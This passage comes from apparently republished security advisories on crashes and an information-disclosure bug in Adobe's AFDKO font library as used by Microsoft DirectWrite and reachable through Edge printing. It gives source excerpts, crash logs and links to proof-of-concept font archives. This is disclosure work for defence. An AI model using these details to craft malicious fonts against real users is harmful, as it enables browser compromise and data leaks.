CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c. -----=====[ Crash logs ]=====----- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc2.otf prints out the following report: --- cut --- ================================================================= ==253002==ERROR: AddressSanitizer: SEGV on unknown address 0x6210000ffc80 (pc 0x00000058aa1a bp 0x7fffd5742e70 sp 0x7fffd5742e00 T0) ==253002==The signal is caused by a READ memory access. #0 0x58aa19 in cfwSindexGetString afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c:154:17 #1 0x56fe6c in fillNameINDEX afdko/c/public/lib/source/cffwrite/cffwrite.c:849:17 #2 0x56d37f in initSetSizes afdko/c/public/lib/source/cffwrite/cffwrite.c:896:24 #3 0x567320 in fillSet afdko/c/public/lib/source/cffwrite/cffwrite.c:1085:5 #4 0x5645b5 in cfwEndSet afdko/c/public/lib/source/cffwrite/cffwrite.c:2128:5 #5 0x6ebd6d in cff_EndSet afdko/c/public/lib/source/tx_shared/tx_shared.c:1076:9 #6 0x506b6c in doSingleFileSet afdko/c/tx/source/tx.c:489:5 #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #9 0x7f19da4782b0 in __libc_start_main #10 0x41e5b9 in _start AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c:154:17 in cfwSindexGetString ==253002==ABORTING --- cut --- A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x0000000000424a4c in cfwSindexGetString (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:154 154 return &h->strings.array[h->custom.array[index - STD_STR_CNT].iString]; (gdb) print index $1 = 65535 (gdb) print h->custom $2 = {ctx = 0x6fdb90, array = 0x72a580, cnt = 1, size = 260, incr = 1000, func = 0x0} (gdb) x/10i $rip => 0x424a4c <cfwSindexGetString+108>: add (%rcx),%rax 0x424a4f <cfwSindexGetString+111>: mov %rax,-0x8(%rbp) 0x424a53 <cfwSindexGetString+115>: mov -0x8(%rbp),%rax 0x424a57 <cfwSindexGetString+119>: pop %rbp 0x424a58 <cfwSindexGetString+120>: retq 0x424a59: nopl 0x0(%rax) 0x424a60 <cfwSindexAssignSID>: push %rbp 0x424a61 <cfwSindexAssignSID+1>: mov %rsp,%rbp 0x424a64 <cfwSindexAssignSID+4>: mov %si,%ax 0x424a67 <cfwSindexAssignSID+7>: mov %rdi,-0x10(%rbp) (gdb) info reg $rcx rcx 0x828d00 8555776 (gdb) x/10gx $rcx 0x828d00: Cannot access memory at address 0x828d00 (gdb) bt #0 0x0000000000424a4c in cfwSindexGetString (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:154 #1 0x000000000041de69 in fillNameINDEX (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:849 #2 0x000000000041d3f0 in initSetSizes (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:896 #3 0x000000000041b8be in fillSet (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:1085 #4 0x000000000041ae7c in cfwEndSet (g=0x6fd890) at ../../../../../source/cffwrite/cffwrite.c:2128 #5 0x000000000047a79c in cff_EndSet (h=0x6f6010) at ../../../../../source/tx_shared/tx_shared.c:1076 #6 0x000000000040533f in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1a "poc2.otf") at ../../../../source/tx.c:489 #7 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558 #8 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631 (gdb) --- cut --- A similar Microsoft Edge renderer process crash (but in a slightly different code path) is also shown below: --- cut --- (61c8.53dc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!cfwSindexGetString+0x27: 00007ffb`29e7a51b 486384c8c8f3ffff movsxd rax,dword ptr [rax+rcx*8-0C38h] ds:000001eb`f4260d20=???????? 0:039> ? rax Evaluate expression: 2112924555616 = 000001eb`f41e1960 0:039> ? rcx Evaluate expression: 65535 = 00000000`0000ffff 0:039> db rax+rcx*8-c38 000001eb`f4260d20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001eb`f4260d30 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001eb`f4260d40 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001eb`f4260d50 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001eb`f4260d60 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001eb`f4260d70 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001eb`f4260d80 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001eb`f4260d90 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:039> k # Child-SP RetAddr Call Site 00 00000062`d53eb1d8 00007ffb`29e700d3 DWrite!cfwSindexGetString+0x27 01 00000062`d53eb1e0 00007ffb`29e707d9 DWrite!fillNameINDEX+0x4b 02 00000062`d53eb210 00007ffb`29e702cf DWrite!initSetSizes+0x49 03 00000062`d53eb240 00007ffb`29e7219d DWrite!fillSet+0x163 04 00000062`d53eb2b0 00007ffb`29e62314 DWrite!cfwEndSet+0x51 05 00000062`d53eb2f0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x23c 06 00000062`d53eb7f0 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212 07 00000062`d53eb9d0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249 08 00000062`d53ebbf0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192 09 00000062`d53ebf50 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 0a 00000062`d53ebfe0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0b 00000062`d53ec100 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 0c 00000062`d53ec150 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44 0d 00000062`d53ec1a0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0e 00000062`d53ec1d0 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0f 00000062`d53ec200 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 10 00000062`d53ec240 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47100.zip
-
Microsoft DirectWrite / AFDKO - NULL Pointer Dereferences in OpenType Font Handling While Accessing Empty dynarrays
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The AFDKO library has its own implementation of dynamic arrays, semantically resembling e.g. std::vector from C++. These objects are implemented in c/public/lib/source/dynarr/dynarr.c and c/public/lib/api/dynarr.h. There are a few interesting observations we can make about them: - Each dynamic array is initialized with the dnaINIT() macro, which lets the caller specify the initial number of items allocated on first access, and the increments in which the array is extended. This is an optimization designed to reduce the number of memory allocations, while making it possible to fine-tune the behavior of the array based on the nature of the data it stores. - An empty dynamic array object uses the "array" pointer (which normally stores the address of the allocated elements) to store the "init" value, i.e. the minimum number of elements to allocate. Therefore referencing a non-existing element in an empty dynarr typically results in a near-NULL pointer dereference crash. - Information such as element counts, indexes etc. is usually passed to the dna* functions as signed integers or longs. This means, for example, that calling dnaSET_CNT() with a nonpositive "n" argument on an empty array is a no-op, as "n" is then smaller or equal to the current cnt=0, and thus no allocation is performed. There are several places in AFDKO where dynamic arrays are used incorrectly in the following ways: - The size of a dynarr is set to 0 and the code starts operating on the dynarr.array pointer (wrongly) assuming that the array contains at least 1 element, - The size of a dynarr is set to a negative value (which keeps the array at the same length as it was before), but it is later used as an unsigned number, e.g. to control the number of loop iterations. Considering the current implementation of the dynarrays, both of the above situations lead to NULL pointer dereference crashes which are impossible to exploit for arbitrary code execution. However, this is due to pure coincidence, and if the internals of the dynamic arrays were a little different in the future (e.g. a malloc(0) pointer was initially assigned to an empty array), then these bugs would immediately become memory corruption issues. The affected areas of code don't respect the length of the arrays they read from and write to, which is why we are reporting the issues despite their seemingly low severity. We noticed the bugs in the following locations in cffread.c: --- cut --- 1900 static void buildGIDNames(cfrCtx h) { 1901 char *p; 1902 long length; 1903 long numGlyphs = h->glyphs.cnt; 1904 unsigned short i; 1905 1906 dnaSET_CNT(h->post.fmt2.glyphNameIndex, numGlyphs); 1907 for (i = 0; i < numGlyphs; i++) { 1908 h->post.fmt2.glyphNameIndex.array[i] = i; 1909 } 1910 /* Read string data */ 1911 length = numGlyphs * 9; /* 3 for 'gid', 5 for GID, 1 for null termination. */ 1912 dnaSET_CNT(h->post.fmt2.buf, length + 1); 1913 /* Build C strings array */ 1914 dnaSET_CNT(h->post.fmt2.strings, numGlyphs); 1915 p = h->post.fmt2.buf.array; 1916 sprintf(p, ".notdef"); 1917 length = (long)strlen(p); 1918 h->post.fmt2.strings.array[0] = p; 1919 p += length + 1; 1920 for (i = 1; i < numGlyphs; i++) { 1921 h->post.fmt2.strings.array[i] = p; 1922 sprintf(p, "gid%05d", i); 1923 length = (long)strlen(p); 1924 p += length + 1; 1925 } 1926 1927 return; /* Success */ 1928 } --- cut --- In the above function, if numGlyphs=0, then there are two problems: - The length of the h->post.fmt2.buf buffer is set to 1 in line 1912, but then 8 bytes are copied into it in line 1916. However, because the "init" value for the array is 300, 300 bytes are allocated instead of just 1 and no memory corruption takes place. - The length of h->post.fmt2.strings is set to 0 in line 1914, yet the code accesses the non-existent element h->post.fmt2.strings.array[0] in line 1918, triggering a crash. Furthermore, in readCharset(): --- cut --- [...] 2164 default: { 2165 /* Custom charset */ 2166 long gid; 2167 int size = 2; 2168 2169 srcSeek(h, h->region.Charset.begin); 2170 2171 gid = 0; 2172 addID(h, gid++, 0); /* .notdef */ 2173 2174 switch (read1(h)) { [...] --- cut --- where addID() is defined as: --- cut --- 1839 static void addID(cfrCtx h, long gid, unsigned short id) { 1840 abfGlyphInfo *info = &h->glyphs.array[gid]; 1841 if (h->flags & CID_FONT) 1842 /* Save CID */ 1843 info->cid = id; 1844 else { 1845 /* Save SID */ 1846 info->gname.impl = id; 1847 info->gname.ptr = sid2str(h, id); 1848 1849 /* Non-CID font so select FD[0] */ 1850 info->iFD = 0; [...] --- cut --- Here in line 2172, readCharset() assumes that there is at least one glyph declared in the font (the ".notdef"). If there aren't any, trying to access h->glyphs.array[0] leads to a crash in line 1843 or 1846. Lastly, let's have a look at readCharStringsINDEX(): --- cut --- 1779 /* Read CharStrings INDEX. */ 1780 static void readCharStringsINDEX(cfrCtx h, short flags) { 1781 unsigned long i; 1782 INDEX index; 1783 Offset offset; 1784 1785 /* Read INDEX */ 1786 if (h->region.CharStringsINDEX.begin == -1) 1787 fatal(h, cfrErrNoCharStrings); 1788 readINDEX(h, &h->region.CharStringsINDEX, &index); 1789 1790 /* Allocate and initialize glyphs array */ 1791 dnaSET_CNT(h->glyphs, index.count); 1792 srcSeek(h, index.offset); 1793 offset = index.data + readN(h, index.offSize); 1794 for (i = 0; i < index.count; i++) { 1795 long length; 1796 abfGlyphInfo *info = &h->glyphs.array[i]; 1797 1798 abfInitGlyphInfo(info); 1799 info->flags = flags; 1800 info->tag = (unsigned short)i; [...] 1814 } 1815 } --- cut --- The index.count field is of type "unsigned long", and on platforms where it is 32-bit wide (Linux x86, Windows x86/x64), it can be fully controlled by input CFF2 fonts. In line 1791, the field is used to set the length of the h->glyphs array. Please note that a value of 0x80000000 or greater becomes negative when cast to long, which is the parameter type of dnaSET_CNT (or rather the underlying dnaSetCnt). As previously discussed, a negative new length doesn't change the state of the array, so h->glyphs remains empty. However, the loop in line 1794 operates on unsigned numbers, so it will attempt to perform 2 billion or more iterations, trying to write to h->glyphs.array[0, ...]. The first access to h->glyphs.array[0] inside of abfInitGlyphInfo() will trigger an exception. As a side note, in readCharStringsINDEX(), if the index loaded in line 1788 is empty (i.e. index.count == 0), then other fields in the structure such as index.offset or index.offSize are left uninitialized. They are, however, unconditionally used in lines 1792 and 1793 to seek in the data stream and potentially read some bytes. This doesn't seem to have any major effect on the program state, so it is only reported here as FYI. -----=====[ Proof of Concept ]=====----- There are three proof of concept files, poc_buildGIDNames.otf, poc_addID.otf and poc_readCharStringsINDEX.otf, which trigger crashes in the corresponding functions. -----=====[ Crash logs ]=====----- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_buildGIDNames.otf crashes in the following way: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x000000000055694c in buildGIDNames (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1918 1918 h->post.fmt2.strings.array[0] = p; (gdb) print h->post.fmt2.strings $1 = {ctx = 0x6020000000d0, array = 0x32, cnt = 0, size = 0, incr = 200, func = 0x0} (gdb) x/10i $rip => 0x55694c <buildGIDNames+748>: mov %rcx,(%rax) 0x55694f <buildGIDNames+751>: mov -0x18(%rbp),%rdx 0x556953 <buildGIDNames+755>: add $0x1,%rdx 0x556957 <buildGIDNames+759>: add -0x10(%rbp),%rdx 0x55695b <buildGIDNames+763>: mov %rdx,-0x10(%rbp) 0x55695f <buildGIDNames+767>: movw $0x1,-0x22(%rbp) 0x556965 <buildGIDNames+773>: movzwl -0x22(%rbp),%eax 0x556969 <buildGIDNames+777>: mov %eax,%ecx 0x55696b <buildGIDNames+779>: mov -0x20(%rbp),%rdx 0x55696f <buildGIDNames+783>: mov %rcx,%rdi (gdb) info reg $rax rax 0x32 50 (gdb) bt #0 0x000000000055694c in buildGIDNames (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1918 #1 0x0000000000553d38 in postRead (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1964 #2 0x000000000053eeda in readCharset (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:2139 #3 0x00000000005299c8 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0) at ../../../../../source/cffread/cffread.c:2789 #4 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137 #5 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf46 "poc_buildGIDNames.otf") at ../../../../source/tx.c:429 #6 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf46 "poc_buildGIDNames.otf") at ../../../../source/tx.c:488 #7 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc40) at ../../../../source/tx.c:558 #8 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc40) at ../../../../source/tx.c:1631 (gdb) --- cut --- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_addID.otf crashes in the following way: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x000000000055640d in addID (h=0x62a000000200, gid=0, id=0) at ../../../../../source/cffread/cffread.c:1846 1846 info->gname.impl = id; (gdb) print info $1 = (abfGlyphInfo *) 0x100 (gdb) x/10i $rip => 0x55640d <addID+397>: mov %rcx,(%rax) 0x556410 <addID+400>: mov -0x8(%rbp),%rdi 0x556414 <addID+404>: movzwl -0x12(%rbp),%edx 0x556418 <addID+408>: mov %edx,%esi 0x55641a <addID+410>: callq 0x548c30 <sid2str> 0x55641f <addID+415>: mov -0x20(%rbp),%rcx 0x556423 <addID+419>: add $0x8,%rcx 0x556427 <addID+423>: mov %rcx,%rsi 0x55642a <addID+426>: shr $0x3,%rsi 0x55642e <addID+430>: cmpb $0x0,0x7fff8000(%rsi) (gdb) info reg $rax rax 0x110 272 (gdb) bt #0 0x000000000055640d in addID (h=0x62a000000200, gid=0, id=0) at ../../../../../source/cffread/cffread.c:1846 #1 0x000000000053f2e9 in readCharset (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:2172 #2 0x00000000005299c8 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0) at ../../../../../source/cffread/cffread.c:2789 #3 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137 #4 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf4e "poc_addID.otf") at ../../../../source/tx.c:429 #5 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf4e "poc_addID.otf") at ../../../../source/tx.c:488 #6 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:558 #7 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:1631 (gdb) --- cut --- A 32-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_readCharStringsINDEX.otf crashes in the following way: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x0846344e in abfInitGlyphInfo (info=0x100) at ../../../../../source/absfont/absfont.c:124 124 info->flags = 0; (gdb) print info $1 = (abfGlyphInfo *) 0x100 (gdb) x/10i $eip => 0x846344e <abfInitGlyphInfo+94>: movw $0x0,(%eax) 0x8463453 <abfInitGlyphInfo+99>: mov 0x8(%ebp),%ecx 0x8463456 <abfInitGlyphInfo+102>: add $0x2,%ecx 0x8463459 <abfInitGlyphInfo+105>: mov %ecx,%edx 0x846345b <abfInitGlyphInfo+107>: shr $0x3,%edx 0x846345e <abfInitGlyphInfo+110>: or $0x20000000,%edx 0x8463464 <abfInitGlyphInfo+116>: mov (%edx),%bl 0x8463466 <abfInitGlyphInfo+118>: cmp $0x0,%bl 0x8463469 <abfInitGlyphInfo+121>: mov %ecx,-0x14(%ebp) 0x846346c <abfInitGlyphInfo+124>: mov %bl,-0x15(%ebp) (gdb) info reg $eax eax 0x100 256 (gdb) bt #0 0x0846344e in abfInitGlyphInfo (info=0x100) at ../../../../../source/absfont/absfont.c:124 #1 0x08190954 in readCharStringsINDEX (h=0xf3f00100, flags=0) at ../../../../../source/cffread/cffread.c:1798 #2 0x081797b5 in cfrBegFont (h=0xf3f00100, flags=4, origin=0, ttcIndex=0, top=0xf570021c, UDV=0x0) at ../../../../../source/cffread/cffread.c:2769 #3 0x08155d26 in cfrReadFont (h=0xf5700200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137 #4 0x081556e0 in doFile (h=0xf5700200, srcname=0xffffcf3f "poc_readCharStringsINDEX.otf") at ../../../../source/tx.c:429 #5 0x08152fca in doSingleFileSet (h=0xf5700200, srcname=0xffffcf3f "poc_readCharStringsINDEX.otf") at ../../../../source/tx.c:488 #6 0x081469a7 in parseArgs (h=0xf5700200, argc=2, argv=0xffffcd78) at ../../../../source/tx.c:558 #7 0x08142640 in main (argc=2, argv=0xffffcd78) at ../../../../source/tx.c:1631 (gdb) --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47102.zip
-
Microsoft DirectWrite / AFDKO - Multiple Bugs in OpenType Font Handling Related to the "post" Table
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The readCharset() function in afdko/c/public/lib/source/cffread/cffread.c is called from cfrBegFont(), the main entry point for parsing an input OpenType/CFF font by the "cfr" (CFF Reader) component of AFDKO. At the beginning of the function, it handles variable CFF2 fonts: --- cut --- 2138 if (h->header.major == 2) { 2139 postRead(h); 2140 if (h->cff2.mvar) 2141 MVARread(h); 2142 if (!(h->flags & CID_FONT)) 2143 readCharSetFromPost(h); 2144 else { 2145 long gid; 2146 for (gid = 0; gid < h->glyphs.cnt; gid++) { 2147 abfGlyphInfo *info = &h->glyphs.array[gid]; 2148 info->cid = (unsigned short)gid; 2149 } 2150 } 2151 return; 2152 } --- cut --- In this report, we are most interested in lines 2139 and 2143, i.e. the calls to postRead() and readCharSetFromPost(). The postRead() routine is responsible for processing the "post" optional SFNT table, extracting the glyph names that it contains and copying them into the internal engine structures. Let's analyze some of its most important parts: --- cut --- 1960 if (h->flags & CID_FONT) 1961 return; /* Don't read glyph names for CID fonts */ 1962 1963 if (h->post.format != 0x00020000) { 1964 buildGIDNames(h); 1965 return; 1966 } --- cut --- In order to pass the two checks, the font must not be CID-keyed and the "post" table format must be 2.0. Then, the number of glyphs described by the table is loaded, and if it's inconsistent with the font's number of glyphs, a warning message is printed. --- cut --- 1975 /* Parse format 2.0 data */ 1976 numGlyphs = read2(h); 1977 if (numGlyphs != h->glyphs.cnt) 1978 message(h, "post 2.0: name index size doesn't match numGlyphs"); --- cut --- Then, the function proceeds to fill out three internal objects: h->post.fmt2.glyphNameIndex (a dynamic array of "unsigned short", containing indexes into "strings"), h->post.fmt2.strings (a dynamic array of string pointers) and h->post.fmt2.buf (a dynamic array of characters, storing the textual data pointed to by "strings"). One very peculiar feature of the function is that upon encountering invalid input data, it flips the "post" table format to 0x00000001 (even though it was originally 0x00020000) and returns with success: --- cut --- 2026 parseError: 2027 /* We managed to read the header but the rest of the table had an error that 2028 prevented reading some (or all) glyph names. We set the the post format 2029 to a value that will allow us to use the header values but will prevent 2030 us from using any glyph name data which is likely missing or invalid */ 2031 h->post.format = 0x00000001; 2032 } --- cut --- While the message explains the developer's intention quite well, it is not factually correct, as the above post format doesn't prevent the code from using glyph name data later on. The "parseError" label can be reached from four different locations, each of them being the result of a failed sanity check: --- cut --- 1968 if (invalidStreamOffset(h, table->offset + table->length - 1)) { 1969 message(h, "post: table truncated"); 1970 goto parseError; 1971 } [...] 1982 if (length < numGlyphs * 2) { 1983 message(h, "post 2.0: table truncated (table ignored)"); 1984 goto parseError; 1985 } [...] 1993 if (nid > 32767) { 1994 message(h, "post 2.0: invalid name id (table ignored)"); 1995 goto parseError; [...] 2015 if (p > end) { 2016 message(h, "post 2.0: invalid strings"); 2017 goto parseError; 2018 } --- cut --- Executing the goto statements in lines 1995 and 2017 may lead to inconsistent program state. Here is what may happen: - When line 1995 executes, the "glyphNameIndex" object has "numGlyphs" elements, but some of them may be uninitialized, and the "strings" and "buf" arrays are empty. - When line 2017 executes, the "strings" array may be shorter than "glyphNameIndex" (because "strCount" may be smaller than "numGlyphs", as counted by the array in lines 1990-1998), and it may be only partially initialized. Knowing that the above conditions may be achieved, let's analyze the second function of interest, readCharSetFromPost(). A majority of its body only executes if the CFR_IS_CFF2 flag is not set, which is not the case for us (remember that the input font must be a CFF2 one): --- cut --- 2060 static void readCharSetFromPost(cfrCtx h) { 2061 Offset offset; 2062 unsigned long i; 2063 long gid; 2064 char *p; 2065 long lenStrings = ARRAY_LEN(stdstrs); 2066 2067 if (!(h->flags & CFR_IS_CFF2)) { [...] 2111 } [...] --- cut --- This leaves us with the following loop at the end: --- cut --- 2113 for (gid = 0; gid < h->glyphs.cnt; gid++) { 2114 abfGlyphInfo *info = &h->glyphs.array[gid]; 2115 info->gname.ptr = post2GetName(h, (SID)gid); 2116 } --- cut --- For each glyph in the font, the loop tries to initialize the glyph's gname.ptr pointer with the address of its textual name. To obtain the address, the following post2GetName() function is used: --- cut --- 1819 /* Get glyph name from format 2.0 post table. */ 1820 static char *post2GetName(cfrCtx h, SID gid) { 1821 if (gid >= h->post.fmt2.glyphNameIndex.cnt) 1822 return NULL; /* Out of bounds; .notdef */ 1823 else if (h->post.format != 0x00020000) 1824 return h->post.fmt2.strings.array[gid]; 1825 else { 1826 long nid = h->post.fmt2.glyphNameIndex.array[gid]; 1827 if (nid == 0) 1828 return stdstrs[nid]; /* .notdef */ 1829 else if (nid < 258) 1830 return applestd[nid]; 1831 else if (nid - 258 >= h->post.fmt2.strings.cnt) { 1832 return NULL; /* Out of bounds; .notdef */ 1833 } else 1834 return h->post.fmt2.strings.array[nid - 258]; 1835 } 1836 } --- cut --- This is the last piece of the puzzle and the place where most of the problem resides. Between lines 1821-1824, the code makes two significant assumptions: - That the h->post.fmt2.strings array is as long as h->post.fmt2.glyphNameIndex, i.e. if "gid < h->post.fmt2.glyphNameIndex.cnt" then it is safe to access h->post.fmt2.strings.array[gid]. - That the h->post.fmt2.strings array is fully initialized. Now as we saw before, neither of these assumptions must be true: the "strings" array may be shorter (or completely empty) than "glyphNameIndex", and it may be partially uninitialized due to an early exit from postRead(). Breaking the assumptions may lead to the following: - A NULL pointer dereference in line 1824, since an empty "strings" object has a near-NULL "array" value, - Returning an uninitialized chunk of memory as the address of the glyph name, - Returning an out-of-bounds chunk of memory as the address of the glyph name. In the 2nd and 3rd case, the invalid gname.ptr value is later referenced when building the output file, for example in glyphBeg (cffwrite/cffwrite_t2cstr.c) if the output format is CFF: --- cut --- 243 (info->gname.ptr == NULL || info->gname.ptr[0] == '\0')) { --- cut --- Considering that the vulnerability may allow writing a string from a potentially controlled address in the process address space to the output file, we classify it as an information disclosure flaw. -----=====[ Lesser bugs ]=====----- There are two less significant bugs in the creation of the C strings array in postRead(). Let's analyze the following loop again: --- cut --- 2005 /* Build C strings array */ 2006 dnaSET_CNT(h->post.fmt2.strings, strCount); 2007 p = h->post.fmt2.buf.array; 2008 end = p + length; 2009 i = 0; 2010 for (i = 0; i < h->post.fmt2.strings.cnt; i++) { 2011 length = *(unsigned char *)p; 2012 *p++ = '\0'; 2013 h->post.fmt2.strings.array[i] = p; 2014 p += length; 2015 if (p > end) { 2016 